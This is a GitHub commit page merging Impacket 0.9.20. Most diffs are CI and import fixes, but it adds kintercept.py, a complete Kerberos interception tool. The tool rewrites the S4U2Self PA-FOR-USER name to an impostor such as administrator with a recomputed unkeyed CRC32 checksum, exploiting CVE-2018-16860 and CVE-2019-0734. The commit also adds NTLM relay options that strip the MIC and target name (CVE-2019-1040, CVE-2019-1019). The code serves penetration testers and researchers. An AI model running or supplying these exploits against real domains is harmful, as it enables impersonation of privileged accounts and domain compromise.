Skip to content

Commit f970470

Browse files
author
Ronnie Flathers
committed
Merge branch 'impacket/0_9_20' into test/impacket_0_9_20
2 parents 5a32a54 + 647d7be commit f970470

33 files changed

+766
-93
lines changed

.travis.yml

+6-5
Original file line numberDiff line numberDiff line change
@@ -8,15 +8,16 @@ matrix:
88
env: NO_REMOTE=true, TOXENV=py27
99
- python: 3.6
1010
env: NO_REMOTE=true, TOXENV=py36
11-
allow_failures:
12-
- python: 3.6
11+
- python: 3.7
12+
env: NO_REMOTE=true, TOXENV=py37
13+
dist: xenial # required for Python >= 3.7
1314

14-
install: pip install flake8==3.6.0 tox -r requirements.txt
15+
install: pip install flake8 tox -r requirements.txt
1516

1617
before_script:
1718
# stop the build if there are Python syntax errors or undefined names
18-
- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
19+
- flake8 . --count --select=E9,F72,F82 --show-source --statistics
1920
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
20-
- flake8 . --count --ignore=E1,E2,E3,W293,W291,E501,C901 --exit-zero --max-complexity=10 --max-line-length=127 --statistics
21+
- flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics
2122

2223
script: tox

MANIFEST.in

-1
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,6 @@ include MANIFEST.in
22
include LICENSE
33
include ChangeLog
44
include requirements.txt
5-
include requirements_examples.txt
65
include tox.ini
76
recursive-include examples tests *.txt *.py
87
recursive-include tests *

examples/GetADUsers.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -76,7 +76,7 @@ def getMachineName(self):
7676
s.login('', '')
7777
except Exception:
7878
if s.getServerName() == '':
79-
raise 'Error while anonymous logging into %s'
79+
raise Exception('Error while anonymous logging into %s' % self.__domain)
8080
else:
8181
s.logoff()
8282
return s.getServerName()

examples/goldenPac.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -45,8 +45,8 @@
4545
DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \
4646
NULLGUID
4747
from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
48-
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
49-
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES
48+
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2
49+
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES
5050
from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
5151
from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
5252
from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \

examples/kintercept.py

+276
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,276 @@
1+
#!/usr/bin/env python
2+
# MIT Licensed
3+
# Copyright (c) 2019 Isaac Boukris <[email protected]>
4+
#
5+
# A tool for intercepting TCP streams and for testing KDC handling
6+
# of PA-FOR-USER with unkeyed checksums in MS Kerberos S4U2Self
7+
# protocol extention (CVE-2018-16860 and CVE-2019-0734).
8+
#
9+
# The tool listens on a local port (default 88), to which the hijacked
10+
# connections should be redirected (via port forwarding, etc), and sends
11+
# all the packets to the upstream DC server.
12+
# If s4u2else handler is set, the name in PA-FOR-USER padata in every proxied
13+
# packet will be changed to the name specified in the handler's argument.
14+
#
15+
# Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr
16+
17+
import struct, socket, argparse, asyncore
18+
from binascii import crc32
19+
from pyasn1.codec.der import decoder, encoder
20+
from pyasn1.type.univ import noValue
21+
from impacket import version
22+
from impacket.krb5 import constants
23+
from impacket.krb5.crypto import Cksumtype
24+
from impacket.krb5.asn1 import TGS_REQ, TGS_REP, seq_set, PA_FOR_USER_ENC
25+
from impacket.krb5.types import Principal
26+
27+
28+
MAX_READ_SIZE = 16000
29+
MAX_BUFF_SIZE = 32000
30+
LISTEN_QUEUE = 10
31+
TYPE = 10
32+
33+
def process_s4u2else_req(data, impostor):
34+
try:
35+
tgs = decoder.decode(data, asn1Spec = TGS_REQ())[0]
36+
except:
37+
print ('Record is not a TGS-REQ')
38+
return ''
39+
40+
pa_tgs_req = pa_for_user = None
41+
42+
for pa in tgs['padata']:
43+
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value:
44+
pa_tgs_req = pa
45+
elif pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value:
46+
pa_for_user = pa
47+
48+
if not pa_tgs_req or not pa_for_user:
49+
print ('TGS request is not S4U')
50+
return ''
51+
52+
tgs['padata'] = noValue
53+
tgs['padata'][0] = pa_tgs_req
54+
55+
try:
56+
for_user_obj = decoder.decode(pa_for_user['padata-value'], asn1Spec = PA_FOR_USER_ENC())[0]
57+
except:
58+
print ('Failed to decode PA_FOR_USER!')
59+
return ''
60+
61+
S4UByteArray = struct.pack('<I', TYPE)
62+
S4UByteArray += impostor + str(for_user_obj['userRealm']) + 'Kerberos'
63+
64+
cs = (~crc32(S4UByteArray, 0xffffffff)) & 0xffffffff
65+
cs = struct.pack('<I', cs)
66+
67+
clientName = Principal(impostor, type=TYPE)
68+
seq_set(for_user_obj, 'userName', clientName.components_to_asn1)
69+
70+
for_user_obj['cksum'] = noValue
71+
for_user_obj['cksum']['cksumtype'] = Cksumtype.CRC32
72+
for_user_obj['cksum']['checksum'] = cs
73+
74+
pa_for_user['padata-value'] = encoder.encode(for_user_obj)
75+
tgs['padata'][1] = pa_for_user
76+
77+
return bytes(encoder.encode(tgs))
78+
79+
def mod_tgs_rep_user(data, reply_user):
80+
try:
81+
tgs = decoder.decode(data, asn1Spec = TGS_REP())[0]
82+
except:
83+
print ('Record is not a TGS-REP')
84+
return ''
85+
86+
cname = Principal(reply_user, type=TYPE)
87+
seq_set(tgs, 'cname', cname.components_to_asn1)
88+
89+
return bytes(encoder.encode(tgs))
90+
91+
92+
class InterceptConn(asyncore.dispatcher):
93+
def __init__(self, conn=None):
94+
asyncore.dispatcher.__init__(self, conn)
95+
self.peer = None
96+
self.buffer = bytearray()
97+
self.eof_received = False
98+
self.eof_sent = False
99+
100+
# Override recv method to handle half opened connections
101+
# e.g. curl --http1.0 ...
102+
def recv(self, n):
103+
if not n:
104+
return ''
105+
try:
106+
data = self.socket.recv(n)
107+
if not data:
108+
self.handle_eof()
109+
return ''
110+
else:
111+
return data
112+
except socket.error as why:
113+
if why.args[0] in asyncore._DISCONNECTED:
114+
self.handle_close()
115+
return ''
116+
else:
117+
raise
118+
119+
def forward_data(self, data):
120+
self.peer.buffer.extend(data)
121+
122+
def buffer_empty(self):
123+
return len(self.buffer) == 0
124+
125+
def max_read_size(self):
126+
space = MAX_BUFF_SIZE - min(MAX_BUFF_SIZE, len(self.peer.buffer))
127+
return min(MAX_READ_SIZE, space)
128+
129+
def readable(self):
130+
if not self.connected:
131+
return True
132+
return (not self.eof_received) and (self.max_read_size() != 0)
133+
134+
def handle_read(self):
135+
data_read = self.recv(self.max_read_size())
136+
if data_read:
137+
print (str(self.fileno()) + ': recieved ' + str(len(data_read)) + ' bytes')
138+
self.forward_data(data_read)
139+
140+
def handle_eof(self):
141+
print (str(self.fileno()) + ': received eof')
142+
self.eof_received = True
143+
144+
def need_to_send_eof(self):
145+
if self.eof_sent:
146+
return False
147+
return self.buffer_empty() and self.peer.eof_received
148+
149+
def writable(self):
150+
if not self.connected:
151+
return True
152+
return not self.buffer_empty() or self.need_to_send_eof()
153+
154+
def handle_write(self):
155+
if not self.buffer_empty():
156+
sent = self.send(self.buffer)
157+
print (str(self.fileno()) + ': sent ' + str(sent) + ' bytes')
158+
if sent:
159+
del self.buffer[:sent]
160+
if self.need_to_send_eof():
161+
self.shutdown(socket.SHUT_WR)
162+
self.eof_sent = True
163+
print (str(self.fileno()) + ': sent eof')
164+
if self.peer.eof_sent:
165+
self.handle_close()
166+
167+
def handle_close(self):
168+
print ('Closing pair: [' + str(self.fileno()) + ',' + str(self.peer.fileno()) + ']')
169+
self.peer.close()
170+
self.close()
171+
172+
173+
def InterceptKRB5Tcp(process_record_func, arg):
174+
class _InterceptKRB5Tcp(InterceptConn):
175+
def __init__(self, conn=None):
176+
InterceptConn.__init__(self, conn)
177+
self.proto_buffer = bytearray()
178+
179+
def forward_data(self, data):
180+
self.proto_buffer.extend(data)
181+
182+
while len(self.proto_buffer):
183+
if len(self.proto_buffer) < 4:
184+
break
185+
186+
header = ''.join(reversed(str(self.proto_buffer[:4])))
187+
rec_len = struct.unpack('<L', header)[0]
188+
print ('len of record: ' + str(rec_len))
189+
190+
if len(self.proto_buffer) < 4 + rec_len:
191+
break
192+
193+
msg = process_record_func(bytes(self.proto_buffer[4:4+rec_len]), arg)
194+
if not msg:
195+
InterceptConn.forward_data(self, self.proto_buffer[:4+rec_len])
196+
else:
197+
header = struct.pack('<L', len(msg))
198+
InterceptConn.forward_data(self, ''.join(reversed(header)) + msg)
199+
200+
del self.proto_buffer[:4+rec_len]
201+
202+
return _InterceptKRB5Tcp
203+
204+
class InterceptConnFactory:
205+
def __init__(self, handler=None, arg=None):
206+
self.handler = handler
207+
self.arg = arg
208+
209+
def produce(self):
210+
if not self.handler:
211+
return InterceptConn
212+
if self.handler.lower() == "s4u2else":
213+
return InterceptKRB5Tcp(process_s4u2else_req, self.arg)
214+
if self.handler.lower() == "tgs-rep-user":
215+
return InterceptKRB5Tcp(mod_tgs_rep_user, self.arg)
216+
217+
class InterceptServer(asyncore.dispatcher):
218+
def __init__(self, addr, target, icf1, icf2):
219+
asyncore.dispatcher.__init__(self)
220+
self.target = target
221+
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
222+
self.set_reuse_addr()
223+
self.bind(addr)
224+
self.listen(LISTEN_QUEUE)
225+
self.downconns = icf1
226+
self.upconns = icf2
227+
228+
def intercept_conns(self, conn):
229+
iconn1 = self.downconns.produce()(conn)
230+
iconn2 = self.upconns.produce()()
231+
return iconn1, iconn2
232+
233+
def handle_accept(self):
234+
conn, addr = self.accept()
235+
downstream, upstream = self.intercept_conns(conn)
236+
downstream.peer = upstream
237+
upstream.peer = downstream
238+
try:
239+
upstream.create_socket(socket.AF_INET, socket.SOCK_STREAM)
240+
upstream.connect(self.target)
241+
print ('accepted downconn fd: ' + str(downstream.fileno()))
242+
print ('established upconn fd: ' + str(upstream.fileno()))
243+
except:
244+
print (str(conn.fileno()) + ': failed to connect to target')
245+
downstream.handle_close()
246+
247+
248+
def parse_args():
249+
parser = argparse.ArgumentParser(description='Intercept TCP streams')
250+
parser.add_argument('server', help='Target server address')
251+
parser.add_argument('--server-port', default=88, type=int, help='Target server port')
252+
parser.add_argument('--listen-port', default=88, type=int, help='Port to listen on')
253+
parser.add_argument('--listen-addr', default='', help='Address to listen on')
254+
parser.add_argument('--request-handler', default='', metavar='HANDLER:ARG', help='Example: s4u2else:user')
255+
parser.add_argument('--reply-handler', default='', metavar='HANDLER:ARG', help='Example: tgs-rep-user:user')
256+
return vars(parser.parse_args())
257+
258+
259+
if __name__ == '__main__':
260+
261+
print(version.BANNER)
262+
263+
args = parse_args()
264+
265+
req_factory = rep_factory = InterceptConnFactory()
266+
if args['request_handler']:
267+
req_args = args['request_handler'].split(':')
268+
req_factory = InterceptConnFactory(req_args[0], req_args[1])
269+
if args['reply_handler']:
270+
rep_args = args['reply_handler'].split(':')
271+
rep_factory = InterceptConnFactory(rep_args[0], rep_args[1])
272+
273+
server = InterceptServer((args['listen_addr'], args['listen_port']),
274+
(args['server'], args['server_port']),
275+
req_factory, rep_factory)
276+
asyncore.loop()

examples/lookupsid.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -87,7 +87,7 @@ def __bruteForce(self, rpctransport, maxRid):
8787

8888
dce.bind(lsat.MSRPC_UUID_LSAT)
8989

90-
resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
90+
resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
9191
policyHandle = resp['PolicyHandle']
9292

9393
if self.__domain_sids: # get the Domain SID

examples/ntlmrelayx.py

+16-1
Original file line numberDiff line numberDiff line change
@@ -153,10 +153,12 @@ def start_servers(options, threads):
153153
c.setWpadOptions(options.wpad_host, options.wpad_auth_num)
154154
c.setSMB2Support(options.smb2support)
155155
c.setInterfaceIp(options.interface_ip)
156-
156+
c.setExploitOptions(options.remove_mic, options.remove_target)
157+
c.setWebDAVOptions(options.serve_image)
157158

158159
if server is HTTPRelayServer:
159160
c.setListeningPort(options.http_port)
161+
c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain)
160162
elif server is SMBRelayServer:
161163
c.setListeningPort(options.smb_port)
162164

@@ -240,6 +242,8 @@ def stop_servers(threads):
240242
parser.add_argument('-wa','--wpad-auth-num', action='store',help='Prompt for authentication N times for clients without MS16-077 installed '
241243
'before serving a WPAD file.')
242244
parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4')
245+
parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)')
246+
parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients')
243247

244248
#SMB arguments
245249
smboptions = parser.add_argument_group("SMB client options")
@@ -256,6 +260,17 @@ def stop_servers(threads):
256260
mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
257261
'(can specify multiple)')
258262

263+
#HTTPS options
264+
httpoptions = parser.add_argument_group("HTTP options")
265+
httpoptions.add_argument('-machine-account', action='store', required=False,
266+
help='Domain machine account to use when interacting with the domain to grab a session key for '
267+
'signing, format is domain/machine_name')
268+
httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH",
269+
help='Domain machine hashes, format is LMHASH:NTHASH')
270+
httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
271+
httpoptions.add_argument('-remove-target', action='store_true', default=False,
272+
help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)')
273+
259274
#LDAP options
260275
ldapoptions = parser.add_argument_group("LDAP client options")
261276
ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')

examples/raiseChild.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -87,8 +87,8 @@
8787
from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
8888
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
8989
from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
90-
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids
91-
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
90+
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids
91+
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2
9292
from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
9393
PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \
9494
PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO

examples/wmiexec.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -226,8 +226,8 @@ def default(self, line):
226226
# Drive valid, now we should get the current path
227227
self.__pwd = line
228228
self.execute_remote('cd ')
229-
self.__pwd = self.__outputBuffer.strip('\r\n').encode(CODEC)
230-
self.prompt = (self.__pwd + b'>')
229+
self.__pwd = self.__outputBuffer.strip('\r\n')
230+
self.prompt = (self.__pwd + '>')
231231
self.__outputBuffer = ''
232232
else:
233233
if line != '':

0 commit comments

Comments
 (0)